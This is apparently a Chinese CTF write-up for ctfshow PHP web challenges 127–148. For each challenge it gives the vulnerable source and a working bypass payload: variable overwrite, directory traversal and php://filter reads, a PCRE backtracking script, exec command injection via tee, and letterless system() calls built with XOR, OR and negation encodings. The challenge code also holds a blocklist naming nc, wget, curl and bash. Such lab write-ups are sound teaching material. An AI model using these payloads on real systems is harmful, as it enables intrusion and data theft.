$_SERVER[‘PATH_TRANSLATED’] #当前脚本所在文件系统(不是文档根目录)的基本路径。
$_SERVER[‘SCRIPT_NAME’] #包含当前脚本的路径。这在页面需要指向自己时非常有用。
$_SERVER[‘PHP_AUTH_USER’] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的用户名。
$_SERVER[‘PHP_AUTH_PW’] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是用户输入的密码。
$_SERVER[‘AUTH_TYPE’] #当 PHP 运行在 Apache 模块方式下,并且正在使用 HTTP 认证功能,这个变量便是认证的类型

web 127-$_SERVER[‘QUERY_STRING’]

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

$_SERVER[‘QUERY_STRING’] //查询(query)的字符串。 即获取url后面的参数以及值
image.png
extract — 从数组中将变量导入到当前的符号表,即将数组中键值变成变量,数组的值给到对应的变量,下例中输入ctf=hello,经过extract函数处理后,存在参数$ctf值为hello
image.png
所以输入参数?ctf_show=ilove36d即可,由于自定义函数waf对输入的字符串做了限制,过滤了下划线,可用 空格、+、[、.符号代替,其中空格没有被过滤
payload
?ctf show=ilove36d

web 128-call_user_func

<?php

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}


function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

两个考点:
var_dump(call_user_func(call_user_func($f1,$f2)));
这里有个var_dump-打印变量的相关信息,可考虑在这里输出flag
call_user_func-是回调函数,第一个参数是函数名,第二个以后参数是该函数的参数
想办法打印所有变量,call_user_func(get_defined_vars),但还嵌套了一个call_user_func($f1,$f2),而且还限制了$f1的格式,不能有数字和字母,这时候需要用到gettext函数

gettext-实现多语言支持,理解为多语言映射
假如你的没有国际化的程序里有这样的代码,echo “你好”;,而国际化的程序你要写成 echo gettext(“你好”);,然后再在配置文件里添加“你好”相对应的英文“Hi”。 这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。也就是说,最终显示什么是根据你的配置文件而定的,如果找不到配置文件,才会输出程序里面的内容。

详细参考文章
其中有个特性是,可使用”_”作为该函数的别名
image.png

payload
?f1=_&f2=get_defined_vars
image.png

web 129-目录穿越

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

readfile输出文件,考虑在这里输出flag.php,稍微做了限制
stripos-查找字符串首次出现的位置
image.png

<?php
$findme    = 'a';
$mystring1 = 'xyz';
$mystring2 = 'ABC';

$pos1 = stripos($mystring1, $findme);  //null
$pos2 = stripos($mystring2, $findme);  //0

要求字符串中存在ctfshow,且不是第一位字符,使用目录穿越可绕过,其中有个注意点是,目录穿越中可以添加不存在的目录层级
image.png
payload
?f=/ctfshow/../../../../../var/www/html/flag.php
当前目录下一个不存在目录,的上一级还是当前目录
?f=./tttt123/../flag.php
伪协议,原理还不太明白?
?f=php://filter/|ctfshow/resource=flag.php
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php

web 130-正则表达式绕过

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

重点在于解读正则表达式 ‘/.+?ctfshow/is’
. ——匹配除换行符 \n 之外的任何单字符,但是加上的修饰符/s表示特殊字符圆点 . 中包含换行符 \n
+——匹配前面的子表达式一次或多次
?——匹配前面的子表达式零次或一次
修饰符/i 表示不区分大小写

所以第一个限制就是ctfshow字符串前面出现任何字符则退出
而第二个限制是f赋值参数必须包含ctfshow字符串

payload1
POST: f=ctfshow
payload2,由于采用数组绕过的方法,stripos函数会返回null,null!=false,所以可以绕过stripos函数
POST: f[]=1

web 131-PCRE回溯次数限制

<?php

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

在上题的基础上限制了必须存在36Dctfshow,上面两种方法第一个限制无法绕过

需要学习一个新知识点
深悉正则(pcre)最大回溯/递归限制
PHP利用PCRE回溯次数限制绕过某些安全限制
总之就是使用超长字符,使之超多最大回溯次数限制,导致preg_match返回的非1和0,而是false,从而绕过限制。

import requests
url="http://f9172612-49d5-4ace-b821-06ca23219bbf.challenge.ctf.show/"
data={
    'f':'very'*250000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web 132-逻辑运算符优先级

首先给了一个网页模板,找不到突破口就D盾扫描或者/robots.txt
发现/admin路径

<?php

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

        if($code == 'admin'){
            echo $flag;
        }

    }
}

仔细看代码发现很简单,主要考察,逻辑运算的优先级
if($code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”)
&&优先级高于||,当||左边为否时才执行右边

?web 133-无回显

web 134-extract

<?php

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

考点:三个php函数的用法
$_SERVER[‘QUERY_STRING’]——获取get传输的参数和值
parse_str——将字符串解析为多个变量, 前面加@和不加@没有区别
?_POST[key1]=36d&_POST[key2]=36d
被解析为数组,其中数组名自定义,可以为$a、$b等
$_POST[key1]=36d
$_POST[key2]=36d
extract——将数组中键值变成变量,数组的值给到对应的变量

payload:
?_POST[key1]=36d&_POST[key2]=36d

?web 135-134加强版

web 136-tee

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

分析:
exec 命令执行,可直接输入linux命令,但是exec不回显,一般是通过echo exec配合显示
既然不能回显就想办法把输出写入文件

新学习一个linux命令 tee,详见文章
主要被用来向standout(标准输出流,通常是命令执行窗口)输出的同时也将内容输出到文件
用法:命令 | tee 文件
比如:ping baidu.com | tee out.log

payload:
?c=ls / | tee 1
访问文件1,即下载1,看到有类似flag的文件
?c=cat /f149_15_h3r3 | tee 2

web 137-调用类中函数

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']);

就是调取ctfshow类中的getFlag函数即可,基本php语法

payload:
POST:ctfshow=ctfshow::getFlag

web 138-调用类中函数

<?php

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

上题的基础上限制使用 “:”

原理不明白,先上payload
POST:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web 140-弱类型比较

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

分析:
正则很好满足 输入有数字和小写字母组成的字符串就行
主要是这一句
if(intval($code) == ‘ctfshow’)
明显还是弱类型比较问题,让intval($code)等于0即可
eval(“return $f1($f2());”);
找对应的函数即可

payload:
f1=intval&f2=intval
f1=intval&f2=md5

web 141-无字母无数字绕过-取反

<?php

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

正则表达式:
\w 匹配字母、数字、下划线。等价于 [A-Za-z0-9]
\W 与上面相反,匹配非(字母、数字、下划线)。等价于 [^A-Za-z0-9
]

v3考虑用取反的方式绕过无数字无字母限制
然后是eval(“return $v1$v3$v2;”);
v1 v2需为数字或数字字符串
可在本地先尝试在system之前增加* + -等符号,会报warming但仍可显示结果
eval(1+system(“whoami”));

然后system(ls)查看文件
?v1=1&v2=1&v3=*(~%8C%86%8C%8B%9A%92)(~%93%8C);
image.png
再system(nl flag.php),右键查看
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%91%93%DF%99%93%9E%98%D1%8F%97%8F);

web 142-简单

<?php

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

关键在于$d = (int)($v1 0x36d 0x36d 0x36d 0x36d * 0x36d);
算出来的值会sleep这么长时间,当然越小越好
?v1=0
?v1=1e-100

web 143-无字母无数字绕过-异或

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

相比于141对v3增加了更多限制,+、-不能用但*还可以用,~取反号不能用,|、&不能用则不能用或、与的方法,但可以使用异或的方式

system(ls)
编码为:
(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%0c%0c”^”%60%7f”);
注意题目中;分号也被过滤了,使用?>代替;闭合
image.png
system(cat flag.php)
?v1=10&v2=1&v3=*(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%03%01%0b%00%06%0c%01%07%01%0f%08%0f”^”%60%60%7f%20%60%60%60%60%2f%7f%60%7f”)?>

web 144-无字母无数字绕过

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

分析:
/^\W+$/表示匹配字母、数字、下划线
\W 匹配字母、数字、下划线。等价于’[A-Za-z0-9_]’。

check限制了v3的长度为1,那就v2代替v3之前的作用作为执行函数
不能使用字母、数字、下划线,限制的而范围少一些
别忘了要构造这样的格式 eval(1+system(“whoami”));
发现+会报错,-和*可以,原因呢不知道只能挨个试
payload
?v1=1&v3=1&v2=-(“%0c%06%0c%0b%05%0d”^”%7f%7f%7f%7f%60%60”)(“%03%01%0b%00%06%0c%01%07%01%0f%08%0f”^”%60%60%7f%20%60%60%60%60%2f%7f%60%7f”);

web 145-146-无字母无数字绕过

<?php

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

限制的字符变了,&和^被限制,但放开了或|,那就换或运算吧
由于还限制了”双引号
在or.php脚本中,双引号也要替换成单引号,之前没有替换,生成的文件是空的image.png
然后生成的system(cat flag.php)为
(“%13%19%13%14%05%0d”|”%60%60%60%60%60%60”)(“%03%01%14%00%06%0c%01%07%02%10%08%10”|”%60%60%60%20%60%60%60%60%2c%60%60%60”);
也要把双引号替换成单引号,也可以直接在程序里改
image.png
由于+ - *都被过滤了,考虑另外两种方式
或:v1|v3|v2
三木运算:v1?v3:v2
payload
?v1=1&v2=2&v3=|(‘%13%19%13%14%05%0d’|’%60%60%60%60%60%60’)(‘%03%01%14%00%06%0c%01%07%02%10%08%10’|’%60%60%60%20%60%60%60%60%2c%60%60%60’)|

web 147

web 148-无字母无数字绕过

<?php

include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

分析:
要想打印出flag,执行函数get_ctfshow_fl0g()即可
或者直接不用这个函数 system(cat flag.php)
现在就是考虑字符限制绕过的问题

方法一
限制了|和&,~,那就考虑异或
payload
?code=(“%07%05%09%01%03%09%06%08%08%0f%08%01%06%0c%0b%07”^”%60%60%7d%5e%60%7d%60%7b%60%60%7f%5e%60%60%3b%60”)(“”^””);

方法二
中文参数
$哈=”`{{{“^”?<>/“;${$哈};&哼=system&嗯=tac f*

其中”`{{{“ ^ “?<>/“异或得到_GET $哈=_GET; $_GET; ?哼=system&嗯=tac f*

https://www.cnblogs.com/upstream-yu/p/15110382.html
https://blog.csdn.net/qq_49480008/article/details/113753951